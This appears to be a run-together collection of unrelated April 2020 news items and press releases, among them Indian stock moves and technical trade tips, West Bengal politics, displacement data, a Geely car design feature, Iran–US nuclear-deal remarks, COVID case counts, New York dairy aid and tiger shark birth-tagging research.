contracting coronavirus. Also Read: Abba Kyari Appeared In My Dream To Say Goodbye Femi Adeshina Taking to her Instastories, Aisha slammed her fathers critics, asking them to keep mum as his family members mourn. She went on to call media personality, Lola Omotayo and others who were curious about the whereabouts of her father. She wrote, My daddy, Abba Kyari is gone. Evil ones still wont shut up. You all claimed he was the root of your problems when he was alive, now he is gone, surely all your problems died with him. Allow us that love him grieve and mourn in peace. And Dear Lola Omotayo and co that were so curious about his whereabouts, I hope now that you know exactly where he is, youre sleeping better at night. See her post below: Below are the top 10 stocks that moved the most today: IndusInd Bank | Share price gained more than 14 percent after the company reported its March quarter numbers. Although net profit fell 76 percent QoQ, but improvement in core profitability was supported by better NIMs and steady growth, suggest experts. Axis Bank | Share price jumped nearly 7 percent after the private lender said it would acquire a 29 percent stake in Max Life Insurance Company. The private sector lender is scheduled to report earnings today, April 28. Tata Motors | Share price was up 2 percent after the company said it would be issuing non-convertible debentures (NCDs) worth Rs 1,000 crore. The NCDs would be issued in three tranches and a special committee of the companys board is scheduled to convene on May 5, the company said in an exchange filing. JK Paper | Share price jumped almost 4 percent after the companys board approved the buyback of its fully paid-up equity shares. Just Dial | Share price surged 11 percent after the company said that the Board of Directors may consider the proposal for buyback of fully paid-up equity shares in a meeting scheduled on April 30, 2020. Varroc Engineering | Shares were up 2 percent after the company partially resumed manufacturing operations at its facilities in Chakan, Pune (Maharashtra), Pantnagar (Uttarakhand) and Waluj, Aurangabad (Maharashtra). Mahindra CIE Automotive | Share price jumped 5 percent after ICICI Securities upgraded the stock to buy with revised target of Rs 100. Adani Power | Share price was down 2 percent after the company reported Q4 loss at Rs 1,312.86 cr against profit at Rs 634.64 cr while revenue was down 8.2% at Rs 6,172 cr YoY. Ambuja Cements | Share price was down 2 percent despite the company reporting a consolidated profit of Rs 742.59 crore in Q1 CY20, a 6.8 percent growth over the same period last year. Consolidated revenue from operations dropped 8.5 percent year-on-year to Rs 6,249.66 crore due to a fall in sales volumes. Kolkata, April 28 : Firing yet another salvo at West Bengal Chief Minister Mamata Banerjee, state Governor Jagdeep Dhankhar on Tuesday asked her to focus on alleviating the sufferings of the people and not on demagoguery to combat the situation crated by the Covid-19 pandemic. In posts on his twitter handle, Dhankhar appealed to Banerjee to change stance and said the way out of the crisis lay in "real-time earnest action in concert with the Centre". Advising Banerjee not to "sharpen knives" against him or the Central government, the Governor termed as unconstitutional and inopportune in what he called "State within State" approach. "Focus on suffering not demagoguery... No time to sharpen knives against Governor or Central Government. Real-time look at the situation not bravado must for way forward," he tweeted, tagging Banerjee. "Appeal: Change stance @MamataOfficial, from looking for alibis, scapegoats, exit or shifting burden to serving the people. "We are in deep crisis -- only real-time earnest action in concert with Centre (is the) way out. 'State within State' approach -- unconstitutional and inopportune," he said. Dhankhar has over the past few days engaged in a letter war with Banerjee over the state's handling of the Covid outbreak. He has also alleged corruption in the Public Distribution System. The letter wars have only added to the constant friction between the Dhankhar and the Banerjee government ever since he stepped into the state to take over his gubernatorial role. ESChat completes service integration with TELUS, offering next-generation Broadband Push-to-Talk service to business and government customers SAN LUIS OBISPO, Calif., April 28, 2020 /PRNewswire/ -- ESChat today announced the launch of ESChat broadband Push-to-Talk (PTT) service on the TELUS wireless network. The companies completed a commercial contract in May of 2019, and have been in soft-launch with a number of marquee customers since late 2018. Over the past year, the ESChat and TELUS teams have been adding customers and testing new features. With carrier integration and soft-launch now complete, the ESChat solution is commercially available for TELUS business and government customers. TELUS will invoice customers on their monthly wireless bill, and its Customer Care team will handle Tier-1 customer support. TELUS has had a very successful soft-launch over the past twelve months, and today's announcement coincides with ESChat's general availability on the Network. The TELUS PTT offering is priced at C$7.50 per month, and includes Secure Push-to-Talk, Live Location Tracking and Mapping and Secure Group Multimedia Messaging. TELUS offers historical bread crumb tracking for an additional C$2.50 per month. TELUS has been a leading provider of PTT communications in Canada since 1996, when it began offering its 'Mike' PTT service. 'Mike' was powered by iDEN technology, the same narrowband technology that powered Nextel in the United States. Broadband PTT service supports a host of features and capabilities not available in narrowband LMR and wireless carrier PTT services. TELUS' selection of ESChat provides the company with a proven and full featured PTT offering. "ESChat Push-to-Talk harnesses the power of fast interaction and interoperability to make professional group communication secure and reliable for our customers" said Marshall Berkin, Vice-President National Business Solutions for TELUS. "Through our collaboration with ESChat, we're helping businesses empower their mobile workforces while driving agility and cost savings." "TELUS has a solid reputation as a PTT service provider in Canada. We are pleased they have selected ESChat for their next generation of PTT service," said Josh Lober, President and CEO, ESChat. "ESChat is the leading provider of secure broadband PTT service in North America. With the launch of ESChat, TELUS is positioned for continued growth throughout its markets." Used by all branches of the U.S. Military, as well as federal, state and local public safety agencies, ESChat is able to operate over and across any wireless network, including all commercial carriers, private 3G/4G/5G networks and WiFi. ESChat supports standards-based interoperability with LMR radio networks, including P25 via the native Inter RF Subsystem Interface ("ISSI") protocol and DMR via the native Inter Application Interface Specification ("AIS") protocol. ESChat also supports interoperability via RoIP to all LMR radio networks, regardless of radio technology or operating frequency band. About ESChat: ESChat (www.eschat.com) is the leading solution for carrier independent Secure Push to Talk (PTT) over LTE communications. ESChat includes AES-256 encrypted PTT voice and multimedia (text and image) messaging. ESChat also provides live and historical (bread crumb) tracking and mapping. ESChat is approved for U.S. military operational use by the Defense Information Systems Agency ("DISA"). ESChat is a FirstNet Certified solution, and enhanced by Quality of Service, Priority and Preemption ("QPP") available to FirstNet subscribers. ESChat also supports Quality of Service ("QoS") and RAN priority enhancements on the Verizon Wireless and AT&T commercial networks. For more information, please visit www.eschat.com . SOURCE ESChat Related Links www.eschat.com The number of people fleeing conflict or violence but remaining within their own countries has reached an all-time high, according to a report published today by the Internal Displacement Monitoring Centre (IDMC). The report reveals that 8.5 million new displacements resulting from conflict or violence were recorded in 2019. Another 25 million were triggered by disasters such as cyclones and hurricanes. IDMCs director, Alexandra Bilak, spoke with Kristy Siegfried from UNHCRs global communications service about some key developments in the past year, including progress that governments have made in addressing the issue of internal displacement. She also reflected on her chief concerns in 2020, especially in the context of the coronavirus pandemic. What are some of the key findings from your report on internal displacement in 2019? The headline this year is that when it comes to total numbers, weve recorded the highest number ever of people living in internal displacement as a result of conflict and violence 45.7 million by the end of the year. The majority are in a handful of countries: Syria, Colombia, the Democratic Republic of the Congo, Yemen and Afghanistan. With the exception of Colombia, those countries all had the largest numbers of new conflict-related displacements in 2019. There is a huge burden being shouldered by these countries that already had large and protracted caseloads of internally displaced people (IDPs). For the first time this year, we now also have a total figure for people who remain internally displaced by disasters (5.1 million). Weve only ever been able to report on new individual disaster displacements (rather than total numbers displaced at any one time) because of the multiple data gaps. There are still a huge number of gaps, so its likely to be the tip of the iceberg. When you talk about new displacements, are you talking about the number of individuals displaced or the number of movements? Its the number of movements. So new instances of internal displacement could actually be the same family moving from one place and then another. Theres often a misconception that it represents the number of people. Alexandra Bilak (right), director of IDMC, greets an internally displaced woman at a camp in Chiapas, Mexico, in 2019. Mauricio Palos for IDMC Alba Pinto, 58, lost her husband and three children to Colombia's armed conflict and was displaced in 2005. Since then, she has worked hard to open a shop selling school supplies and hardware goods in Nueva Esperanza. UNHCR/Ruben Salgado Escudero A child walks through a camp for internally displaced people in the Afghan capital, Kabul, July 2019. UNHCR/Claire Thomas Civilians displaced by Syria's conflict pick through the ruins of their homes after returning to the northern city of Aleppo. UNHCR/Antwan Chnkdji In this photo from February 2020, Ipteehal, 9, plays with her sister outside the unfinished building where they live with other displaced families in Al Mukalla, Yemen. UNHCR/Marie-Joelle Jean-Charles To what extent can the increases in IDP figures be explained by governments doing a better job of monitoring and reporting on internal displacement? There are obvious realities on the ground that have pushed the numbers up the increasing violence across West Africa and the Sahel in 2019 for example. But we have also seen improvements in the reporting. What that says to me is that we were reporting underestimates in previous years. For example, the Yemen figures have been really unsatisfactory in recent years because of access problems. That improved last year, which is why we have a higher total number of displacements for Yemen. And the same goes for the DRC. The whole country still isnt covered, but weve been able to add figures from more provinces. What other progress did you see last year in terms of government responses to internal displacement? This years report focuses on government-owned solutions and what measures governments have taken. Weve divided these into three categories. One is the data collection and reporting side, which we consider to be key. The second is on resources and capacity. So, its one thing to know the scale of the problem, but you need the financial, the institutional, and the logistical capacity to address it. The third category is political will and commitment. We found lots of interesting examples of the first two key ingredients in different countries. There are countries like Mali and Indonesia that have put in place strong data collection. Other countries have invested in improving their responses by embedding the issue in their national development plans and using multi-year planning and funding to support IDPs. On the political will side, its harder to base on tangible evidence. Its more of a feeling weve had in the last two to three years that theres a wind of change in terms of how countries are even talking about the issue of internal displacement. A few years ago, youd have seen a wall come up when you talked about it. There seems to be more political openness about acknowledging the issue now. The cornerstone of this political will is the extent to which its being reflected in national laws and policies. Afghanistan has a new legal framework on land rights and ownership that makes land accessible to returning refugees and IDPs. Uganda now has a national IDP policy covering both conflict and disaster, and more countries are including internal displacement in their national disaster risk reduction policies. But laws themselves are never enough. They need to go hand-in-hand with resources and the ability to implement. What are you hoping that the new UN High Level Panel on Internal Displacement will achieve? It comes at a very timely moment as a way to catalyse all these efforts and opportunities weve been seeing. Im hoping itll create a safe space for sharing experiences, learning from each other and putting Member States in the driving seat. Those countries that are making progress, their efforts will be made more visible and maybe itll serve as a way of encouraging other countries to make similar efforts. Perhaps well get that political momentum we so desperately need and have lacked over the last 20 years. What countries or regions are you particularly concerned about in 2020, especially in the context of the coronavirus pandemic? Of course, its a global pandemic, but some countries are going to be worse hit than others, particularly those that already have strained health systems, but also where IDPs will be at higher risk because theyre living in crowded camps and facing limited access to health care, water and sources of income. If you take that into consideration, West Africa and the Sahel, as well as the Central African Republic, the DRC and Yemen are particularly concerning. In the longer term, this is going to have massive social, economic and political costs for countries with large numbers of IDPs that are already fragile. Less directly concerning but still important are those countries at risk of disasters and natural hazards. How are government responses going to play out when they cant evacuate people to shelters? How do you tell people to stay home when their home has been destroyed? It takes a money to create a four-wheel car, but it takes a team of high-caliber to create such in a whole new level, giving it some class-leading features. China automaker Geely is said to be that, claiming that they have a team "that knows the world." The Geely Coolray is said to be the result of a global collaboration between teams of designers and engineers. With studios in Shanghai, Sweden, California, Malaysia and the United Kingdom, Geely Design alone has nearly 1,000 designers and support staff spread around the world. Our design studio is like the United Nationswe have over 21 nationalities, and on a daily basis at our Shanghai studio, I hear Malay, Chinese, Swedish, French, German, and of course English conversations, Head of Geely Design China Guy Burgoyne said. From that pool of talent, Geely saw the emerging of the vehicle symbolizes the energy and charisma of its target audience: globally-orientated youth and young families. They appreciate design; they want design to be a focal point of their daily lives, and they want the car they drive to be an extension of their personality. What they dont want, but what theyve had to settle for so far, are bland, uninspired blobs on wheels with nondescript grey or black interiors, Jamie Barrett, Lead Exterior Designer for the Coolray, said. Coolray Barrett added that exudes a distinct character, while balancing fun and safety. We aim for our cars to have different themes based on a core style, Barrett added. Take the iconic Cosmos Grille for example on the Coolray the rings are wider and deeper, and create a wide mask containing the grille and lights. Meanwhile, the lower bumpers have been sculpted to pass air around the car thereby improving fuel economy. The front is sculpted to have bold volumes that give off a strong 3D effect. The hood features a strong power bulge that narrows towards the front, focusing in on the Geely badge. The surfaces and curves feel rich and premium to give off a quality feel, Barrett explained. Story continues The satin chrome wing leads the eye over the cars powerful front haunches expanding into the side profile before rising into the D-pillar. Boosting the Coolrays sporting credentials are the carbon fiber elements on the front and rear bumpers, along with the rims, which together give the car its sporty stance and fun road presence. Coolray The low-slung silhouette and speeding hood have been built to give the car its presence. Many of the elements of the design are inspired by the world of aviation. Where the roof shoots down at the rear it appears to be suspended over the D-pillar. This is inspired by aircraft wing stabilizers, to simulate cutting through the air with precision and create a floating sensation, Barrett noted. For the interiors, the aviation theme continues right down to the two side air vents, again inspired by jet engines. Coolrays Interior Designer Mei Song said that the layout of the driving area adopts the design style of a cockpit, "expressed in a lighter and more dynamic way, bringing sheer driving pleasure to the driver. The Geely Coolray is fitted with a 10.25-inch floating control panel, which gives a vibrant feeling to the interior. Coolray The expansive cabin space was created using seamless layered architecture. For example, the horizontal theme extends from the instrument panel all the way to the door panel, making the visual look wider, " Song added. In daytime, decorative dashboard panels display an orbiting planet-inspired pattern. As night rolls around, this switches to an echoing pattern which features a resemblance to the expanding front Cosmos Grille. Complementing sporting vibe is the red dashboard and accenting on the seats and door inserts. The red color used in the interior is optimized with the right levels of saturation and hue, just like the color of a vintage red wine. This gives an overall stylish and stimulating look and feel while avoiding the usual visual fatigue caused by bright red that can also affect driving safety, Song elaborated. Rounding out the fighter plane like cockpit is the ergonomic jet throttle-inspired shifter. Just like in a real fighter jet, this sends commands rapidly down a wire to the 7-speed dual clutch unit rather than by a mechanical connection. In the Philippines, Sojitz G Auto Philippines, the latest official distributor for the Geely brand, offers three variants for the Coolray, such Comfort, Sport and Premium. Also read: live bse live nse live Volume Todays L/H More Vinay Rajani Nifty has been trading in the rising wedge pattern on the daily charts which is contracting and that is why the range of Nifty is getting narrowed down as the time progresses. The lower band of this wedge projects the support around 9,200 levels, while the higher band of this wedge is placed at 9,600-9,650. Before 9,650, there is a short-term resistance placed at 9,390, which is not only the previous bottoms but also happens to be the 38.2 percent Fibonacci retracement of the entire fall which Nifty has witnessed from 12,430 to 7,511. Any suitable level above 9,650 could extend the rally towards 9,970 which is the 50 percent retracement levels. RSI oscillator on the daily chart has reached above the benchmark level of 50 which indicates the sustainability of the trend. The MACD indicator has also been trading above its signal line for the last couple of weeks. On April 9, 2020, the 8-day EMA showed bullish crossover on 13-day EMA for Nifty and since then that bullish setup is intact. Positional Support for Nifty is seen at 8,900, and unless that is breached, the short-term trend of the market would be considered bullish only. One should exit trading longs if Nifty closes below 8,900. Bank Nifty has been trading in the symmetrical triangle on the hourly charts. Any level above 20,225 in spot would push the index towards the target of 22,400 in the immediate short term. Support for Bank Nifty is seen at 19,400, which should be utilised as a stop loss while trading long positions. Positional support for Bank Nifty is seen at 18,700 odd levels. Among the sectors, pharma, MNC and FMCG should continue to do well. So to conclude, Nifty is expected to remain bullish until it holds above 8,900. Any level above 9,390 would push Nifty towards the target of 9,600-9,650 followed by 9,970. Here are three stock recommendations for the next 3-4 weeks: Granules India | Buy | LTP: Rs 172.55 | Target price: Rs 198 | Stop loss: Rs 159 | Upside: 15% The stock is forming inverse head and shoulder which is the continuation of a primary uptrend. In January, the stock broke out from the double top resistance at Rs 143 on the monthly charts. Indicators and oscillators have been showing strength on the daily and weekly charts. The pharma sector has been outperforming for the last couple of months and it is expected to continue its bullish momentum. Dr Lal Path Lab | Buy | LTP: Rs 1,551 | Target price: Rs 1,768 | Stop loss: Rs 1,445 | Upside: 14% This is one of the stocks which is trading above its 200-DMA. The stock has been outperforming significantly when the overall market is passing through a rough phase. The short-term moving averages are trading above medium and long-term moving averages. Navin Flourine | Buy | LTP: Rs 1,628.25 | Target price: Rs 1,790 | Stop loss: Rs 1,500 | Upside: 10% The stock price has registered a new all-time high with higher volumes. The stock has been forming higher highs and higher lows. The stock is trading above all important moving averages. Indicators and oscillators have been showing strength in the existing bullish trend. Relative strength compared to CNX 500 index is very high for the stock. (The author is Senior Technical and Derivative Analyst at HDFC securities) The views and investment tips expressed by investment experts on Moneycontrol.com are their own and not that of the website or its management. Moneycontrol.com advises users to check with certified experts before taking any investment decisions. NEW YORK, NY / ACCESSWIRE / April 28, 2020 / ????Newswire offers customers international press release distribution to help reach a worldwide audience and reduce the time it takes to gain the Earned Media Advantage. Committed to delivering the best PR distribution in the industry, Newswire gives customers the chance to share their news on outlets in the U.S., Europe, Asia, India, and Africa via Global Distribution. Customers who are looking to target an international region outside of the U.S. can choose from Canada, Asia, U.K., and Latin America. "Our customers have grown their companies to the point where expanding into international waters is a must," said Erik Rohrmann, Chief Operations Officer and Senior Vice President at Newswire. "We have created an extensive network of outlets which reach countries in Europe, Asia, India, and Africa." Helping businesses expand their horizons to international markets shows the dedication and commitment Newswire has to offer. Rated #1 in Customer Service for press release distribution, Newswire remains committed to ensuring businesses receive the best media reach possible. Charlie Terenzio, VP of Earned Media at Newswire, said, "Using our international distribution opens up an abundance of opportunities for customers to excel in other regions of the world. They are able to take their go-to-market strategies globally, upscaling their media and marketing communications." Being able to expand beyond U.S. distribution is a major step for companies, giving them a stronger sense of gaining the Earned Media Advantage with Newswire. Customers can now transform owned media (press releases) into the Earned Media Advantage: greater brand awareness, increased traffic, greater return on media spend and increased sales. As a result, customers can lower their costs of press releases, increase the value of each release and lower paid-media costs while shortening the journey for the Earned Media Advantage. The journey is designed to empower the Earned Media Advantage by developing a plan that is based on a media communications survey that defines press release content value and distribution. Customers are also provided a media communications calendar, services to set up, operate and manage media databases, media monitoring alerts, statistical analysis, reporting and media room news collection and sharing to ensure Customer Success. Find out how Newswire is Transforming the Value of Press Releases and discover how to empower your go-to-market strategies with the Earned Media Advantage: greater brand awareness, increased traffic, generate greater return on media and marketing communications spend and increased sales. About Newswire? Newswire delivers press release and multimedia distribution software and services (SaaS) that empower the Earned Media Advantage: greater brand awareness, increased traffic, greater return on media and marketing communications spend and the competitive edge. With over a decade of experience, Newswire continues to provide its customers with the ability to deliver the right message to the right audience at the right time through the right medium.? To learn more about how Newswire can help you, visit http://www.newswire.com. Contact Information Charlie Terenzio VP of Earned Media ?Newswire ?Office: 813-480-3766 Email: charlie@newswire.com Related Images SOURCE: Newswire View source version on accesswire.com:https://www.accesswire.com/587239/Newswires-International-Distribution-Helps-Customers-Reach-Global-Audience-for-Less Zarif to Pompeo: Iranians decide their destiny, US 'max pressure' policy failed Iran Press TV Monday, 27 April 2020 3:48 PM Iran's Foreign Minister Mohammad Zarif has reacted to recent reports that his American counterpart is preparing a legal argument that the US is still a participant to the 2015 nuclear deal with Iran, warning the American side that the Iranian nation is the sole party that can decide the country's fate. Zarif made the remarks in a tweet on Monday after a Sunday report by The New York Times said, "Secretary of State Mike Pompeo is preparing a legal argument that the United States remains a participant in the Iran nuclear accord that [US] President [Donald] Trump has renounced." The American daily added that the new plan is "part of an intricate strategy to pressure the United Nations Security Council to extend an arms embargo on Tehran or see far more stringent sanctions re-imposed on the country." The Fox News Channel also reported on Monday that "this plan would give the US standing at the United Nations Security Council to push to extend the arms embargo on Iran expiring in October, and restore sanctions for Iran's violations of the deal." In reaction to the US media reports, Zarif made a reference in his Monday tweet to a US presidential memoranda released on May 8, 2018, in which Trump's administration declared its decision to cease the country's participation in the nuclear deal, officially known as the Joint Comprehensive Plan of Action (JCPOA), and take additional action to counter what it called "Iran's malign influence" in the West Asia region. Describing Pompeo's new remarks as a sign of the failure of the Trump administration in its effort to bring Iran to its knees through the re-imposition of illegal sanctions, which had been lifted under the nuclear deal, Zarif wrote, "2 yrs ago, @SecPompeo and his boss declared 'CEASING US participation' in JCPOA, dreaming that their 'max pressure' would bring Iran to its knees. Given that policy's abject failure, he now wants to be JCPOA participant." Zarif added, "Stop dreaming: Iranian Nation always decides its destiny," alluding to the fact that the Iranian nation will never give in to foreign pressure in pursuit of its goals. Ever since quitting the nuclear deal in May 2018, Trump has been running what he refers to as a "maximum pressure" campaign, which seeks to pressure Iran into negotiating a new deal that addresses its ballistic missile program and regional influence. Iranian officials, however, say it was Washington that left the JCPOA although the international and multilateral deal was endorsed by the UN Security Council in the form of Resolution 2231. Tehran says talks with Washington are impossible as the latter is pressing ahead with its hostile policy and refuses to lift sanctions against the Islamic Republic. In a meeting with the director general of the International Atomic Energy Agency (IAEA), Rafael Grossi, in Vienna, in February, Head of the Atomic Energy Organization of Iran (AEOI) Ali Akbar Salehi said Tehran is open to talks on the country's nuclear program but will not bow to pressure for its decisions. "[Iran's] Relations with the IAEA are very good and based on mutual understanding, and as an international authority, this organization and its decisions should not be influenced by political inclinations," Salehi said. Iran's nuclear chief made the remarks after he said in January that the United States' "cruel" sanctions on the AEOI and its head will fail to interrupt the Islamic Republic's peaceful nuclear program. "Such cruel sanctions will further enhance the nuclear scientist motives in neutralizing the hostile US policies," it added. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address Subscriber content preview Photo by Tim Carter [enlarge] The old-world exterior of the former Perche No Pasta & Vino restaurant will contrast with the modern, clean lines of the inside. Tim Carter and Greg Squires met in the architectural master's program of the University of Washington College of Built Environments and graduated together in 2005. . . . Global coronavirus cases have surpassed three million, according to a tally by Johns Hopkins University. Authorities in 211 countries and territories have reported more than 3,050,000 novel coronavirus cases worldwide since China reported its first cases to the World Health Organization (WHO) in December. Nearly a third of all infections have been recorded in the United States, the university reported. At least 987,022 cases of coronavirus have been recorded in the United States, including 56,144 deaths, according to Johns Hopkins Universitys tally of cases. On Monday, Johns Hopkins reported at least 19,658 new cases and 1,071 deaths. The totals include cases from all 50 states, the District of Columbia and other US territories, as well as repatriated cases. Spain follows the US as the nation with the second highest count of Covid-19 cases, with a total of 229,422, according to Johns Hopkins. Italy, with 199,414 coronavirus infections and 26,977 deaths is third on the list, while France with 164,589 cases and 23,293 deaths is in fourth position. Albany, N.Y. New York is launching a new effort to aid the Upstate dairy industry amid a market dive that has led to widespread milk dumping. Farmers in the state have dumped millions of gallons of raw milk as demand for some products has plunged and prices collapsed thanks to the coronavirus pandemic. The state plans to buy food and products from farms across Upstate and send them to food banks. The state is also partnering with dairy producers to buy excess milk and process it into yogurt, cheese, sour cream and cream cheese. Those products will go to food banks as well, Gov. Andrew Cuomo said today during a press briefing in Albany. Demand at food banks all over New York has been surging, he added. Demand at food banks Upstate has risen 40% to 60% and it's up 100% in New York City. Demand is up 200% in Westchester County, Cuomo said. The state plans to spend $25 million from its Special Public Health Emergency Fund to aid food banks and other providers hit hardest by the pandemic, Cuomo said. This is just a total waste to me, Cuomo said of milk dumping. We have people Downstate who need food. We have farmers Upstate who cant sell their product. We have to put those two things together. More testing New York continues to expand testing for the virus, especially among essential workers. Cuomo said 1,000 police officers and 1,000 firefighters in New York City will be tested for coronavirus antibodies in the coming days to determine spread among first responders there. READ MORE: Central NY has one of lowest coronavirus infection rates in state, testing finds He also said 1,000 transit workers and another 3,000 health care workers will also be tested. New drive-thru testing sites for essential workers will open this week in Broome, Erie, Monroe, Niagara and Oneida counties, Cuomo added. For appointments, call 888-364-3065 or visit covid19screening.health.ny.gov. Praise for Kentucky Cuomo has been criticizing Republican Senate Majority Leader Mitch McConnell of Kentucky for days over his opposition to coronavirus aid for cities and states. Today, he praised Kentucky Gov. Andy Beshear for speaking out against McConnell. Beshear and Cuomo are both Democrats. Beshear has said he disagrees with McConnell's suggestion that states be allowed to declare bankruptcy over the financial fallout from the pandemic. That is hard, Cuomo said of Beshears decision to oppose McConnell. It takes guts. It takes courage. And you dont get that from a typical politician. MORE ON CORONAVIRUS Coronavirus in NY: Cases, maps, charts and resources Gov. Cuomo on reopening schools, summer school, remote learning and district budgets As coronavirus deaths in NY fall below 400, Cuomo gives some details about phased reopening The week we went from defense to offense; CNYs coronavirus fight turns a corner Complete coronavirus coverage on syracuse.com Contact Kevin Tampone anytime: Email | Twitter | Facebook | 315-282-8598 If you have a toddler, or if you encountered one in the last year, youve almost certainly experienced the Baby Shark song. Somehow, every kid seems to know this song, but scientists actually know very little about where and when sharks give birth. The origins of these famous baby sharks are still largely a mystery. Many of the large iconic shark species like great whites, hammerheads, blue sharks and tiger sharks cross hundreds or thousands of miles of ocean every year. Because theyre so wide-ranging, much of sharks lives, including their reproductive habits, remains a secret. Scientists have struggled to figure out precisely where and how often sharks mate, the length of their gestation, and many aspects of the birthing process. I am a Ph.D. student studying shark ecology and reproduction and am on a team of researchers hoping to answer two important questions: Where and when do sharks give birth? In need of innovation Until very recently, the technology to answer these questions did not exist. But marine biologist James Sulikowski, a professor at Arizona State University and my research mentor, changed that. He developed a new satellite tag called the Birth-Tag with the help of the technology company Lotek Wireless. He has no stake in the company. Using this new satellite tag, our team is working to uncover where and when tiger sharks give birth and is demonstrating a proof of concept for how scientists can do the same for other large shark species. The Birth-Tag is a small, egg-shaped device that we insert into the uterus of a pregnant shark where it will remain dormant and hidden among the fetal sharks throughout pregnancy. This kind of tag has never before been used on sharks, but similar implanted tags have been used to figure out the birthing locations of terrestrial mammals, such as deer, for decades with great success. When a tagged mother shark gives birth, the tag will be expelled alongside the babies and float to the sea surface. Once it senses dry air, the tag transmits its location to a passing satellite, which then sends that location and time of transmission back to our lab. As soon as we download this information, we know where and when that shark gave birth. Story continues After years of fine-tuning this new technology, we launched the first phase of the study in December of 2019 and began deploying the tags. Once the study was approved by the Institutional Animal Care and Use Committees at both Arizona State University and the University of Miami, as well as the Bahamian government, we set out to find some tiger sharks. To do this, our team of researchers from the Sulikowski Shark and Fish Conservation Lab and the Shark Research and Conservation Program at the University of Miami led by marine biologist Neil Hammerschlag, traveled to the crystal-clear waters of Tiger Beach off Grand Bahama Island to tag tiger sharks. Up close with an apex predator Tiger Beach is a hot spot for female tiger sharks of many different life stages, including large pregnant individuals. These pregnant females may be aggregating in the warm, calm waters of Tiger Beach to take refuge and speed up their gestation. The high number of pregnant sharks in this small area makes finding one much easier, but actually catching and bringing a 10-foot-plus shark to the boat is no easy task. We fish for the sharks using drumlines, and it can take several hours to safely catch, pull in by hand, and secure one of these powerful creatures next to the boat. Once we catch a female tiger shark, we first take several length and girth measurements to get an idea of her general health and to see if she is sexually mature. Then we check for bite marks, which are evidence of a recent mating event. After we collect this baseline information, we rotate her upside down to coax her into a trance-like state called tonic immobility. Tonic immobility is a natural reflex in many sharks that induces a state of physical inactivity. This keeps the powerful shark calm and still for the most exciting part of the workup, the part where my experience comes into play: the pregnancy check. Expecting Just like the ultrasounds used on humans, we use a mobile ultrasound machine to figure out if a shark is expecting. I put on a pair of goggles that allow me to see everything the ultrasound sees, lean over the side of the boat, and place the probe onto the upside down sharks abdomen. The image is usually fuzzy at first as water splashes over the shark and up onto the boat. The team holds the shark still as I slowly maneuver the probe along her belly. Then, if shes pregnant, something magical happens. Wriggling baby tiger sharks, up to 40 of them packed tightly together inside their mothers womb, appear in front of my eyes. The image also appears on a screen held by another team member on the boat, and everyone cheers as they gather around to take a peek into the secret world of unborn sharks. We spy on them as they pump fluid through their still-developing gills, and we watch in awe as they wiggle around, blissfully unaware that anything extraordinary is happening outside in the world. Once we have enough data on the approximate size of the offspring which gives us an idea of how far along the pregnancy is its time to tag the mama shark. As I hold the probe as still as possible to keep a visual of the sharks internal anatomy, Dr. Sulikowski takes the Birth-Tag and uses a custom-designed applicator to carefully insert it into the uterus through the urogenital opening. No surgery required, the tagging procedure is complete in a matter of minutes. Once the tag is inside the uterus, we rotate the shark upright to wake her and release her back to the open ocean. I am filled with hope as I watch her swim gracefully away to continue her pregnancy, with a stow-away Birth-Tag hidden among her unborn offspring. Solving the mystery Last December, we deployed the first Birth-Tags on three pregnant tiger sharks. For tiger sharks, pregnancy is thought to last 12-16 months, but researchers have little in the way of hard data. Since these tagged sharks ranged from recently mated to mid-gestation, an added bonus of this study is that it might help refine estimates of the length of pregnancy for this species. Although we work in The Bahamas, a shark sanctuary where it is illegal to kill sharks, tiger sharks migrate extensively. As such, each tagged shark will likely spend time outside of The Bahamas in unprotected waters where she will have to navigate carefully to avoid interaction with fishing gear. Tiger sharks are considered near threatened by the International Union for Conservation of Nature and their populations are currently in decline. The data we gain from this first round of tags will give us and policymakers information that could inform future protections for this species. We are currently waiting to receive a notification from our online ARGOS satellite system that will alert us that one of our sharks has given birth. When that happens, we will be the first in the world to know, in close to real time, where and when tiger sharks give birth. Many species of shark are threatened with extinction, and understanding their reproductive cycles is key to the effective conservation of these ecologically important and beautiful creatures. Using the Birth-Tag, we are at the cusp of unlocking this information about tiger sharks and will hopefully show that this can be done for many more species. We are planning future expeditions to deploy many more Birth-Tags, but for now, well just have to keep singing the Baby Shark song as we patiently wait for our first glimpse into the private lives of these incredible creatures. This story has been updated to remove a photo of the Birth-Tag. [Deep knowledge, daily. Sign up for The Conversations newsletter.] This article is republished from The Conversation, a nonprofit news site dedicated to sharing ideas from academic experts. It was written by: Hannah Verkamp, Arizona State University. Read more: Hannah Verkamp works for Arizona State University as a Research Associate in the Sulikowski Shark and Fish Conservation Lab. The research is funded by the Herbert W. Hoover Foundation. President Moon Jae-in on Monday said the coronavirus epidemic could be a "new opportunity" for inter-Korean cooperation. In a meeting with top aides, Moon said reconciliation between the two Koreas is "the most urgent task" and pledged to find realistic ways to achieve it. His remarks came on the second anniversary of his summit with North Korean leader Kim Jong-un in the border village of Panmunjom. Moon noted that peace does not happen overnight but blamed the slow progress in implementing the pie-in-the-sky agreements the two leaders struck at the summit on international constraints, not a lack of commitment. "We must continue to do even the small things that we can do," he said. "I hope for active inter-Korean exchanges and cooperation, starting with a joint response to COVID-19." Moon also vowed to make efforts to link the railroads of the two sides and transform the demilitarized zone into a "peace zone." He also pledged to push for reunions of separated families once the epidemic subsides. Image Source | Getty Images When it comes to coronavirus stimulus checks, many say $1,200 isn't enough. Millions of those one-time payments are still on their way to Americans. The coronavirus shutdown, however, could have economic effects for months. Now, political leaders are turning to proposals for putting more income in Americans' hands. "Others have suggested a minimum income, a guaranteed income for people," Speaker of the House Nancy Pelosi said in an interview with MSNBC on Monday. "Is that worthy of attention now? Perhaps so." However, proposals to get more money to people share one big dilemma: How to give a financial boost to those who really need it. Universal basic income Pelosi's comments come on the heels of proposals from House Democrats to boost Americans' income by $2,000 per month until employment returns to normal. Reps. Tim Ryan, D-Ohio, and Ro Khanna, D-Calif., put forward that proposal earlier this month. Their bill calls for monthly payments for at least six months of at least $2,000 for adults 16 and over making less than $130,000 per year. Married couples earning less than $260,000 would receive at least $4,000 per month. "A one-time $1,200 check isn't going to cut it," Rep. Khanna said in a statement. "Americans need sustained cash infusions for the duration of this crisis in order to come out on the other side alive, healthy and ready to get back to work." The plan comes at a time when the government is already injecting massive amounts of money into the economy. Successfully getting more money out to Americans could be tricky, if the experience from the recent stimulus checks is any indication, said Len Burman, institute fellow at the Urban Institute and professor at Syracuse University. For example, those payments will take longer to reach individuals who don't have 